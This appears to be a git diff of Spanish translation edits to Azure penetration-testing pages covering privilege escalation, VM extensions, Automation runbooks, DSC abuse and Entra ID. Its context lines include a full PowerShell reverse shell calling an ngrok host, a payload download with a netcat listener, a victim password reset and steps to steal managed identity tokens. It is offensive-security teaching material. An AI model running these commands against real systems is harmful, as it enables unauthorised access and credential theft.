Con estos permisos, puedes configurar y hacer cumplir "Microsoft Entra Authentication Only" en un Azure SQL Server, lo que podría facilitar la escalada de privilegios en ciertos escenarios. Un atacante o un usuario autorizado con estos permisos puede habilitar o deshabilitar la autenticación solo de Azure AD.
```bash
#Enable
az sql server azure-ad-only-auth enable \

View File

@@ -54,7 +54,7 @@ az storage container immutability-policy update \
--resource-group <RESOURCE_GROUP> \
--period <NEW_RETENTION_PERIOD_IN_DAYS>
```
## File shares specific privesc
## Privesc específico de comparticiones de archivos
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
@@ -70,7 +70,7 @@ Esto debería permitir a un usuario que tenga este permiso realizar acciones den
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
Con este permiso, un atacante puede crear y actualizar (si tiene el permiso `Microsoft.Storage/storageAccounts/localusers/read`) un nuevo usuario local para una cuenta de Azure Storage (configurada con un espacio de nombres jerárquico), incluyendo la especificación de los permisos y el directorio de inicio del usuario. Este permiso es significativo porque permite al atacante otorgarse a sí mismo acceso a una cuenta de almacenamiento con permisos específicos como lectura (r), escritura (w), eliminación (d) y listado (l) y más. Adicionalmente, los métodos de autenticación que utiliza pueden ser contraseñas generadas por Azure y pares de claves SSH. No hay verificación de si un usuario ya existe, por lo que puedes sobrescribir a otros usuarios que ya están allí. El atacante podría escalar sus privilegios y obtener acceso SSH a la cuenta de almacenamiento, exponiendo o comprometiendo potencialmente datos sensibles.
Con este permiso, un atacante puede crear y actualizar (si tiene el permiso `Microsoft.Storage/storageAccounts/localusers/read`) un nuevo usuario local para una cuenta de Azure Storage (configurada con un espacio de nombres jerárquico), incluyendo la especificación de los permisos y el directorio de inicio del usuario. Este permiso es significativo porque permite al atacante otorgarse acceso a una cuenta de almacenamiento con permisos específicos como lectura (r), escritura (w), eliminación (d) y listado (l) y más. Adicionalmente, los métodos de autenticación que utiliza pueden ser contraseñas generadas por Azure y pares de claves SSH. No hay verificación de si un usuario ya existe, por lo que se puede sobrescribir a otros usuarios que ya están allí. El atacante podría escalar sus privilegios y obtener acceso SSH a la cuenta de almacenamiento, exponiendo o comprometiendo potencialmente datos sensibles.
```bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -82,7 +82,7 @@ az storage account local-user create \
```
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
Con este permiso, un atacante puede regenerar la contraseña de un usuario local en una cuenta de Azure Storage. Esto otorga al atacante la capacidad de obtener nuevas credenciales de autenticación (como una contraseña SSH o SFTP) para el usuario. Al aprovechar estas credenciales, el atacante podría obtener acceso no autorizado a la cuenta de almacenamiento, realizar transferencias de archivos o manipular datos dentro de los contenedores de almacenamiento. Esto podría resultar en una filtración de datos, corrupción o modificación maliciosa del contenido de la cuenta de almacenamiento.
Con este permiso, un atacante puede regenerar la contraseña de un usuario local en una cuenta de Azure Storage. Esto otorga al atacante la capacidad de obtener nuevas credenciales de autenticación (como una contraseña SSH o SFTP) para el usuario. Al aprovechar estas credenciales, el atacante podría obtener acceso no autorizado a la cuenta de almacenamiento, realizar transferencias de archivos o manipular datos dentro de los contenedores de almacenamiento. Esto podría resultar en filtraciones de datos, corrupción o modificación maliciosa del contenido de la cuenta de almacenamiento.
```bash
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -119,7 +119,7 @@ az storage share-rm restore \
--name <FILE_SHARE_NAME> \
--deleted-version <VERSION>
```
## Otros permisos que parecen interesantes (TODO)
## Otros permisos interesantes (TODO)
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Cambia la propiedad del blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifica los permisos del blob

View File

@@ -49,7 +49,7 @@ az vm extension set \
{{#tab name="Windows" }}
- Ejecutar un shell reverso
- Ejecutar un shell inverso
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -93,7 +93,7 @@ También es posible abusar de extensiones bien conocidas para ejecutar código o
<summary>Extensión VMAccess</summary>
Esta extensión permite modificar la contraseña (o crearla si no existe) de usuarios dentro de VMs de Windows.
Esta extensión permite modificar la contraseña (o crearla si no existe) de los usuarios dentro de las VMs de Windows.
```powershell
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
@@ -155,7 +155,7 @@ Set-AzVMDscExtension `
<details>
<summary>Trabajador de Runbook Híbrido</summary>
<summary>Hybrid Runbook Worker</summary>
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [servicio de Cuentas de Automatización](../az-services/az-automation-account/).
@@ -310,7 +310,7 @@ Inicie sesión a través de **SSH** con **`az ssh vm --name <vm-name> --resource
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Todos esos son los permisos necesarios para **crear una VM con una identidad administrada específica** y dejar un **puerto abierto** (22 en este caso). Esto permite a un usuario crear una VM y conectarse a ella y **robar tokens de identidad administrada** para escalar privilegios a ella.
Todos estos son los permisos necesarios para **crear una VM con una identidad administrada específica** y dejar un **puerto abierto** (22 en este caso). Esto permite a un usuario crear una VM y conectarse a ella y **robar tokens de identidad administrada** para escalar privilegios a ella.
Dependiendo de la situación, se pueden necesitar más o menos permisos para abusar de esta técnica.
```bash
@@ -327,7 +327,7 @@ az vm create \
```
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Esos permisos son suficientes para **asignar nuevas identidades administradas a una VM**. Tenga en cuenta que una VM puede tener varias identidades administradas. Puede tener la **asignada por el sistema**, y **muchas identidades administradas por el usuario**.\
Esos permisos son suficientes para **asignar nuevas identidades administradas a una VM**. Tenga en cuenta que una VM puede tener varias identidades administradas. Puede tener la **asignada por el sistema** y **muchas identidades administradas por el usuario**.\
Luego, desde el servicio de metadatos es posible generar tokens para cada una.
```bash
# Get currently assigned managed identities to the VM

View File

@@ -4,7 +4,7 @@
## Información Básica
Azure Container Registry (ACR) es un servicio administrado proporcionado por Microsoft Azure para **almacenar y gestionar imágenes de contenedores Docker y otros artefactos**. Ofrece características como herramientas de desarrollo integradas, geo-replicación, medidas de seguridad como control de acceso basado en roles y escaneo de imágenes, compilaciones automatizadas, webhooks y disparadores, y aislamiento de red. Funciona con herramientas populares como Docker CLI y Kubernetes, y se integra bien con otros servicios de Azure.
Azure Container Registry (ACR) es un servicio administrado proporcionado por Microsoft Azure para **almacenar y gestionar imágenes de contenedores Docker y otros artefactos**. Ofrece características como herramientas de desarrollo integradas, geo-replicación, medidas de seguridad como control de acceso basado en roles y escaneo de imágenes, construcciones automatizadas, webhooks y disparadores, y aislamiento de red. Funciona con herramientas populares como Docker CLI y Kubernetes, y se integra bien con otros servicios de Azure.
### Enumerar

View File

@@ -2,23 +2,23 @@
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica del Servicio de Aplicaciones
## Información Básica del App Service
Azure App Services permite a los desarrolladores **crear, implementar y escalar aplicaciones web, backends de aplicaciones móviles y APIs sin problemas**. Soporta múltiples lenguajes de programación e integra diversas herramientas y servicios de Azure para una funcionalidad y gestión mejoradas.
Cada aplicación se ejecuta dentro de un sandbox, pero la aislamiento depende de los planes de App Service.
- Las aplicaciones en los niveles Gratuito y Compartido se ejecutan en VMs compartidas.
- Las aplicaciones en los niveles Estándar y Premium se ejecutan en VMs dedicadas.
- Las aplicaciones en los niveles Free y Shared se ejecutan en VMs compartidas.
- Las aplicaciones en los niveles Standard y Premium se ejecutan en VMs dedicadas.
> [!WARNING]
> Tenga en cuenta que **ninguno** de esos aislamientos **previene** otras **vulnerabilidades web** comunes (como la carga de archivos o inyecciones). Y si se utiliza una **identidad de gestión**, podría ser capaz de **escalar privilegios a ellas**.
> Tenga en cuenta que **ninguna** de esas aislaciones **previene** otras **vulnerabilidades web** comunes (como la carga de archivos o inyecciones). Y si se utiliza una **identidad de gestión**, podría ser capaz de **escalar privilegios a ellas**.
### Aplicaciones de Función de Azure
Básicamente, **las aplicaciones de Función de Azure son un subconjunto de Azure App Service** en la web y si accede a la consola web y lista todos los servicios de aplicaciones o ejecuta `az webapp list` en az cli, podrá **ver las aplicaciones de Función también listadas aquí**.
Básicamente, **las aplicaciones de Función de Azure son un subconjunto de Azure App Service** en la web y si accede a la consola web y lista todos los servicios de aplicación o ejecuta `az webapp list` en az cli, podrá **ver las aplicaciones de Función también listadas aquí**.
De hecho, algunas de las **características relacionadas con la seguridad** que utilizan los servicios de aplicaciones (`webapp` en el az cli) **también son utilizadas por las aplicaciones de Función**.
De hecho, algunas de las **características relacionadas con la seguridad** que utilizan los servicios de aplicación (`webapp` en el az cli) **también son utilizadas por las aplicaciones de Función**.
## Autenticación Básica
@@ -87,9 +87,6 @@ az webapp config storage-account list --name <name> --resource-gl_group
# List all the functions
az functionapp list

View File

@@ -4,11 +4,11 @@
## Información Básica
[De la documentación:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Para implementar **infraestructura como código para tus soluciones de Azure**, utiliza plantillas de Azure Resource Manager (plantillas ARM). La plantilla es un archivo de Notación de Objetos de JavaScript (**JSON**) que **define** la **infraestructura** y la configuración para tu proyecto. La plantilla utiliza una sintaxis declarativa, que te permite indicar lo que pretendes desplegar sin tener que escribir la secuencia de comandos de programación para crearlo. En la plantilla, especificas los recursos a desplegar y las propiedades de esos recursos.
[Desde la documentación:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Para implementar **infraestructura como código para tus soluciones de Azure**, utiliza plantillas de Azure Resource Manager (plantillas ARM). La plantilla es un archivo de Notación de Objetos de JavaScript (**JSON**) que **define** la **infraestructura** y la configuración para tu proyecto. La plantilla utiliza una sintaxis declarativa, que te permite indicar lo que pretendes desplegar sin tener que escribir la secuencia de comandos de programación para crearlo. En la plantilla, especificas los recursos a desplegar y las propiedades de esos recursos.
### Historia
Si puedes acceder a ello, puedes tener **información sobre recursos** que no están presentes pero que podrían ser desplegados en el futuro. Además, si un **parámetro** que contiene **información sensible** fue marcado como "**String**" **en lugar de** "**SecureString**", estará presente en **texto claro**.
Si puedes acceder a ella, puedes tener **información sobre recursos** que no están presentes pero que podrían ser desplegados en el futuro. Además, si un **parámetro** que contiene **información sensible** fue marcado como "**String**" **en lugar de** "**SecureString**", estará presente en **texto claro**.
## Buscar Información Sensible

View File

@@ -4,7 +4,7 @@
## Información Básica
[De la documentación:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation ofrece un servicio de automatización basado en la nube, actualizaciones del sistema operativo y gestión de configuraciones que admite una gestión consistente en sus entornos de Azure y no Azure. Incluye automatización de procesos, gestión de configuraciones, gestión de actualizaciones, capacidades compartidas y características heterogéneas.
[Desde la documentación:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation ofrece un servicio de automatización basado en la nube, actualizaciones del sistema operativo y gestión de configuraciones que admite una gestión consistente en sus entornos de Azure y no Azure. Incluye automatización de procesos, gestión de configuraciones, gestión de actualizaciones, capacidades compartidas y características heterogéneas.
Estos son como "**tareas programadas**" en Azure que le permitirán ejecutar cosas (acciones o incluso scripts) para **gestionar**, verificar y configurar el **entorno de Azure**.
@@ -18,12 +18,12 @@ Microsoft recomienda usar una **Identidad Administrada** para la Cuenta de Autom
## Runbooks y Trabajos
Los **Runbooks** le permiten **ejecutar código PowerShell arbitrario**. Esto podría ser **abusado por un atacante** para robar los permisos del **principal adjunto** (si lo hay).\
**Runbooks** le permiten **ejecutar código PowerShell arbitrario**. Esto podría ser **abusado por un atacante** para robar los permisos del **principal adjunto** (si lo hay).\
En el **código** de los **Runbooks** también podría encontrar **información sensible** (como credenciales).
Si puede **leer** los **trabajos**, hágalo ya que **contienen** la **salida** de la ejecución (potencial **información sensible**).
Vaya a `Cuentas de Automatización` --> `<Seleccionar Cuenta de Automatización>` --> `Runbooks/Trabajos/Grupos de trabajadores híbridos/Tareas de observador/credenciales/variables/certificados/conexiones`
Vaya a `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
### Trabajador Híbrido
@@ -36,7 +36,7 @@ Por lo tanto, si puede elegir ejecutar un **Runbook** en un **Trabajador Híbrid
## Compromiso de Configuración de Estado (SC)
[De la documentación:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** es un servicio de gestión de configuraciones de Azure que le permite escribir, gestionar y compilar PowerShell Desired State Configuration (DSC) [configuraciones](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) para nodos en cualquier nube o centro de datos local. El servicio también importa [Recursos DSC](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) y asigna configuraciones a nodos objetivo, todo en la nube. Puede acceder a Azure Automation State Configuration en el portal de Azure seleccionando **Configuración de estado (DSC)** en **Gestión de configuraciones**.
[Desde la documentación:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** es un servicio de gestión de configuraciones de Azure que le permite escribir, gestionar y compilar configuraciones de PowerShell Desired State Configuration (DSC) [configuraciones](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) para nodos en cualquier nube o centro de datos local. El servicio también importa [Recursos DSC](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) y asigna configuraciones a nodos objetivo, todo en la nube. Puede acceder a Azure Automation State Configuration en el portal de Azure seleccionando **State configuration (DSC)** bajo **Configuration Management**.
**Información sensible** podría encontrarse en estas configuraciones.
@@ -127,17 +127,17 @@ start-sleep 20
- **Acción Requerida:** Crear una nueva Cuenta de Automatización.
- **Configuración Específica:** Asegúrate de que "Crear cuenta de Azure Run As" esté habilitado.
#### 2. Importar y Configurar el Runbook
#### 2. Importar y Configurar Runbook
- **Fuente:** Descarga el runbook de muestra del [Repositorio de MicroBurst en GitHub](https://github.com/NetSPI/MicroBurst).
- **Fuente:** Descarga el runbook de muestra desde [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
- **Acciones Requeridas:**
- Importar el runbook en la Cuenta de Automatización.
- Publicar el runbook para hacerlo ejecutable.
- Adjuntar un webhook al runbook, habilitando disparadores externos.
- Importa el runbook en la Cuenta de Automatización.
- Publica el runbook para hacerlo ejecutable.
- Adjunta un webhook al runbook, habilitando disparadores externos.
#### 3. Configurar el Módulo AzureAD
- **Acción Requerida:** Agregar el módulo AzureAD a la Cuenta de Automatización.
- **Acción Requerida:** Agrega el módulo AzureAD a la Cuenta de Automatización.
- **Paso Adicional:** Asegúrate de que todos los Módulos de Automatización de Azure estén actualizados a sus últimas versiones.
#### 4. Asignación de Permisos
@@ -145,7 +145,7 @@ start-sleep 20
- **Roles a Asignar:**
- Administrador de Usuarios
- Propietario de Suscripción
- **Objetivo:** Asignar estos roles a la Cuenta de Automatización para los privilegios necesarios.
- **Objetivo:** Asigna estos roles a la Cuenta de Automatización para los privilegios necesarios.
#### 5. Conciencia de la Pérdida Potencial de Acceso

View File

@@ -4,7 +4,7 @@
**Consulta la publicación completa en:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
### Resumen de la Preparación de Infraestructura del Servidor Remoto (C2) y Pasos
### Resumen de la Preparación de Infraestructura de Servidor Remoto (C2) y Pasos
#### Visión General
@@ -23,7 +23,7 @@ El proceso implica configurar una infraestructura de servidor remoto para alojar
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
#### Paso 3 — Establecer el contexto de almacenamiento y cargar
#### Paso 3 — Establecer contexto de almacenamiento y cargar
- El archivo de configuración comprimido se carga en un contenedor de almacenamiento de Azure predefinido, azure-pentest, utilizando el cmdlet Set-AzStorageBlobContent de Azure.
```powershell
@@ -37,13 +37,13 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
- El script se edita para especificar la VM de Windows objetivo y el puerto para el shell inverso.
#### Paso 5 — Publicar Archivo de Configuración
#### Paso 5 — Publicar archivo de configuración
- El archivo de configuración se ejecuta, lo que resulta en que el script de shell inverso se despliega en la ubicación especificada en la VM de Windows.
#### Paso 6 — Alojar Carga Útil y Configurar Escucha
#### Paso 6 — Alojar carga útil y configurar el oyente
- Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un listener de Netcat para capturar conexiones entrantes.
- Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un oyente de Netcat para capturar conexiones entrantes.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443

View File

@@ -151,7 +151,7 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
Cuando **inicias sesión** a través de **CLI** en Azure con cualquier programa, estás utilizando una **Aplicación de Azure** de un **inquilino** que pertenece a **Microsoft**. Estas Aplicaciones, como las que puedes crear en tu cuenta, **tienen un id de cliente**. **No podrás ver todas ellas** en las **listas de aplicaciones permitidas** que puedes ver en la consola, **pero están permitidas por defecto**.
Por ejemplo, un **script de powershell** que **autentica** utiliza una aplicación con id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Incluso si la aplicación no aparece en la consola, un sysadmin podría **bloquear esa aplicación** para que los usuarios no puedan acceder utilizando herramientas que se conectan a través de esa App.
Por ejemplo, un **script de powershell** que **autentica** utiliza una aplicación con el id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Incluso si la aplicación no aparece en la consola, un sysadmin podría **bloquear esa aplicación** para que los usuarios no puedan acceder utilizando herramientas que se conectan a través de esa App.
Sin embargo, hay **otros ids de cliente** de aplicaciones que **te permitirán conectarte a Azure**:
```powershell
@@ -300,7 +300,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA & Políticas de Acceso Condicional
### MFA y Políticas de Acceso Condicional
Se recomienda encarecidamente agregar MFA a cada usuario, sin embargo, algunas empresas no lo configurarán o podrían configurarlo con un Acceso Condicional: El usuario será **requerido MFA si** inicia sesión desde una ubicación, navegador o **alguna condición** específica. Estas políticas, si no se configuran correctamente, pueden ser propensas a **bypasses**. Verifica:
@@ -393,7 +393,7 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
#### Agregar usuario al grupo
Los propietarios del grupo pueden agregar nuevos usuarios al grupo
Los propietarios del grupo pueden agregar nuevos usuarios al grupo.
```powershell
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
@@ -601,10 +601,10 @@ Para más información sobre Aplicaciones consulta:
../az-basic-information/
{{#endref}}
Cuando se genera una aplicación, se otorgan 2 tipos de permisos:
Cuando se genera una App, se otorgan 2 tipos de permisos:
- **Permisos** otorgados al **Service Principal**
- **Permisos** que la **aplicación** puede tener y usar **en nombre del usuario**.
- **Permisos** que la **app** puede tener y usar en **nombre del usuario**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -851,7 +851,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
> [!WARNING]
> Si un dispositivo (VM) está **unido a AzureAD**, los usuarios de AzureAD podrán **iniciar sesión**.\
> Además, si el usuario que ha iniciado sesión es **Propietario** del dispositivo, será **administrador local**.
> Además, si el usuario conectado es **Propietario** del dispositivo, será **administrador local**.
### Unidades Administrativas
@@ -928,7 +928,7 @@ Cuando PIM está habilitado, es posible configurar cada rol con ciertos requisit
### Políticas de Acceso Condicional <a href="#title-text" id="title-text"></a>
Ver:
Verifique:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -948,7 +948,7 @@ Permite al administrador configurarlo para **bloquear** intentos cuando el riesg
### Protección de Contraseñas de Entra
La Protección de Contraseñas de Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) es una característica de seguridad que **ayuda a prevenir el abuso de contraseñas débiles al bloquear cuentas cuando ocurren varios intentos de inicio de sesión fallidos**.\
También permite **prohibir una lista de contraseñas personalizadas** que debe proporcionar.
También permite **prohibir una lista de contraseñas personalizadas** que necesita proporcionar.
Se puede **aplicar tanto** a nivel de nube como en Active Directory local.

View File

@@ -4,7 +4,7 @@
## Información Básica
**Azure Files** es un servicio de almacenamiento de archivos en la nube completamente gestionado que proporciona almacenamiento de archivos compartidos accesible a través de los protocolos estándar **SMB (Server Message Block)** y **NFS (Network File System)**. Aunque el protocolo principal utilizado es SMB, las comparticiones de archivos de Azure no son compatibles con Windows (según la [**documentación**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Permite crear comparticiones de archivos en red altamente disponibles que pueden ser accedidas simultáneamente por múltiples máquinas virtuales (VMs) o sistemas locales, lo que permite un intercambio de archivos sin problemas entre entornos.
**Azure Files** es un servicio de almacenamiento de archivos en la nube completamente gestionado que proporciona almacenamiento de archivos compartidos accesible a través de los protocolos estándar **SMB (Server Message Block)** y **NFS (Network File System)**. Aunque el protocolo principal utilizado es SMB, los compartidos de archivos de Azure no son compatibles con Windows para NFS (según la [**documentación**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Permite crear compartidos de archivos en red altamente disponibles que pueden ser accedidos simultáneamente por múltiples máquinas virtuales (VMs) o sistemas locales, lo que permite un intercambio de archivos sin problemas entre entornos.
### Niveles de Acceso
@@ -24,8 +24,8 @@
### Autenticaciones Soportadas a través de SMB
- **Autenticación de AD DS local**: Utiliza credenciales de Active Directory locales sincronizadas con Microsoft Entra ID para acceso basado en identidad. Requiere conectividad de red a AD DS local.
- **Autenticación de Microsoft Entra Domain Services**: Aprovecha los Servicios de Dominio de Microsoft Entra (AD basado en la nube) para proporcionar acceso utilizando credenciales de Microsoft Entra.
- **Kerberos de Microsoft Entra para Identidades Híbridas**: Permite a los usuarios de Microsoft Entra autenticar comparticiones de archivos de Azure a través de Internet utilizando Kerberos. Soporta VMs unidas a Microsoft Entra híbridas o unidas a Microsoft Entra sin requerir conectividad a controladores de dominio locales. Pero no soporta identidades solo en la nube.
- **Autenticación de Servicios de Dominio de Microsoft Entra**: Aprovecha los Servicios de Dominio de Microsoft Entra (AD basado en la nube) para proporcionar acceso utilizando credenciales de Microsoft Entra.
- **Kerberos de Microsoft Entra para Identidades Híbridas**: Permite a los usuarios de Microsoft Entra autenticar compartidos de archivos de Azure a través de Internet utilizando Kerberos. Soporta VMs unidas a Microsoft Entra híbridas o unidas a Microsoft Entra sin requerir conectividad a controladores de dominio locales. Pero no soporta identidades solo en la nube.
- **Autenticación Kerberos de AD para Clientes Linux**: Permite a los clientes Linux utilizar Kerberos para la autenticación SMB a través de AD DS local o Servicios de Dominio de Microsoft Entra.
## Enumeración

View File

@@ -4,22 +4,22 @@
## Información Básica
**Azure Function Apps** son un **servicio de computación sin servidor** que te permite ejecutar pequeñas piezas de código, llamadas **funciones**, sin gestionar la infraestructura subyacente. Están diseñadas para ejecutar código en respuesta a varios desencadenadores, como **solicitudes HTTP, temporizadores o eventos de otros servicios de Azure** como Blob Storage o Event Hubs. Las Function Apps admiten múltiples lenguajes de programación, incluidos C#, Python, JavaScript y Java, lo que las hace versátiles para construir **aplicaciones impulsadas por eventos**, automatizar flujos de trabajo o integrar servicios. Son rentables, ya que generalmente solo pagas por el tiempo de computación utilizado cuando se ejecuta tu código.
**Azure Function Apps** son un **servicio de computación sin servidor** que te permite ejecutar pequeñas piezas de código, llamadas **funciones**, sin gestionar la infraestructura subyacente. Están diseñadas para ejecutar código en respuesta a varios desencadenantes, como **solicitudes HTTP, temporizadores o eventos de otros servicios de Azure** como Blob Storage o Event Hubs. Las Function Apps admiten múltiples lenguajes de programación, incluidos C#, Python, JavaScript y Java, lo que las hace versátiles para construir **aplicaciones impulsadas por eventos**, automatizar flujos de trabajo o integrar servicios. Son rentables, ya que generalmente solo pagas por el tiempo de computación utilizado cuando se ejecuta tu código.
> [!NOTE]
> Ten en cuenta que **Functions son un subconjunto de los App Services**, por lo tanto, muchas de las características discutidas aquí también serán utilizadas por aplicaciones creadas como Azure Apps (`webapp` en cli).
### Diferentes Planes
- **Plan de Consumo Flexible**: Ofrece **escalado dinámico impulsado por eventos** con precios de pago por uso, añadiendo o eliminando instancias de función según la demanda. Soporta **redes virtuales** e **instancias pre-provisionadas** para reducir los inicios en frío, lo que lo hace adecuado para **cargas de trabajo variables** que no requieren soporte de contenedores.
- **Plan de Consumo Tradicional**: La opción sin servidor predeterminada, donde **solo pagas por los recursos de computación cuando se ejecutan las funciones**. Escala automáticamente según los eventos entrantes e incluye **optimización de inicios en frío**, pero no admite implementaciones de contenedores. Ideal para **cargas de trabajo intermitentes** que requieren escalado automático.
- **Plan Premium**: Diseñado para **rendimiento consistente**, con **trabajadores precalentados** para eliminar los inicios en frío. Ofrece **tiempos de ejecución extendidos, redes virtuales** y admite **imágenes de Linux personalizadas**, lo que lo hace perfecto para **aplicaciones críticas** que necesitan alto rendimiento y características avanzadas.
- **Plan Dedicado**: Se ejecuta en máquinas virtuales dedicadas con **facturación predecible** y admite escalado manual o automático. Permite ejecutar múltiples aplicaciones en el mismo plan, proporciona **aislamiento de computación** y asegura **acceso seguro a la red** a través de Entornos de Servicio de Aplicaciones, lo que lo hace ideal para **aplicaciones de larga duración** que necesitan asignación de recursos consistente.
- **Container Apps**: Permite desplegar **funciones en contenedores** en un entorno gestionado, junto con microservicios y APIs. Soporta bibliotecas personalizadas, migración de aplicaciones heredadas y **procesamiento GPU**, eliminando la gestión del clúster de Kubernetes. Ideal para **aplicaciones escalables en contenedores impulsadas por eventos**.
- **Flex Consumption Plan**: Ofrece **escalado dinámico impulsado por eventos** con precios de pago por uso, añadiendo o eliminando instancias de función según la demanda. Soporta **redes virtuales** y **instancias pre-provisionadas** para reducir los inicios en frío, lo que lo hace adecuado para **cargas de trabajo variables** que no requieren soporte de contenedores.
- **Traditional Consumption Plan**: La opción sin servidor predeterminada, donde **solo pagas por los recursos de computación cuando se ejecutan las funciones**. Escala automáticamente según los eventos entrantes e incluye **optimizaciones de inicio en frío**, pero no admite implementaciones de contenedores. Ideal para **cargas de trabajo intermitentes** que requieren escalado automático.
- **Premium Plan**: Diseñado para **rendimiento consistente**, con **trabajadores precalentados** para eliminar los inicios en frío. Ofrece **tiempos de ejecución extendidos, redes virtuales**, y soporta **imágenes de Linux personalizadas**, lo que lo hace perfecto para **aplicaciones críticas** que necesitan alto rendimiento y características avanzadas.
- **Dedicated Plan**: Se ejecuta en máquinas virtuales dedicadas con **facturación predecible** y soporta escalado manual o automático. Permite ejecutar múltiples aplicaciones en el mismo plan, proporciona **aislamiento de computación**, y asegura **acceso seguro a la red** a través de App Service Environments, lo que lo hace ideal para **aplicaciones de larga duración** que necesitan asignación de recursos consistente.
- **Container Apps**: Permite desplegar **aplicaciones de función en contenedores** en un entorno gestionado, junto con microservicios y APIs. Soporta bibliotecas personalizadas, migración de aplicaciones heredadas, y **procesamiento GPU**, eliminando la gestión de clústeres de Kubernetes. Ideal para **aplicaciones escalables en contenedores impulsadas por eventos**.
### **Buckets de Almacenamiento**
Al crear una nueva Function App no contenedorizada (pero proporcionando el código para ejecutar), el **código y otros datos relacionados con la función se almacenarán en una cuenta de almacenamiento**. Por defecto, la consola web creará una nueva por función para almacenar el código.
Al crear una nueva Function App no contenedorizada (pero proporcionando el código para ejecutar), los **códigos y otros datos relacionados con la función se almacenarán en una cuenta de almacenamiento**. Por defecto, la consola web creará una nueva por función para almacenar el código.
Además, al modificar el código dentro del bucket (en los diferentes formatos en que podría estar almacenado), el **código de la aplicación se modificará al nuevo y se ejecutará** la próxima vez que se llame a la función.
@@ -30,9 +30,9 @@ Además, al modificar el código dentro del bucket (en los diferentes formatos e
También es posible encontrar las **claves maestra y de funciones** almacenadas en la cuenta de almacenamiento en el contenedor **`azure-webjobs-secrets`** dentro de la carpeta **`<app-name>`** en los archivos JSON que puedes encontrar dentro.
Ten en cuenta que Functions también permiten almacenar el código en una ubicación remota simplemente indicando la URL.
Ten en cuenta que las Functions también permiten almacenar el código en una ubicación remota simplemente indicando la URL.
### Redes
### Networking
Usando un desencadenador HTTP:
@@ -44,9 +44,9 @@ Usando un desencadenador HTTP:
### **Configuraciones de Function App & Variables de Entorno**
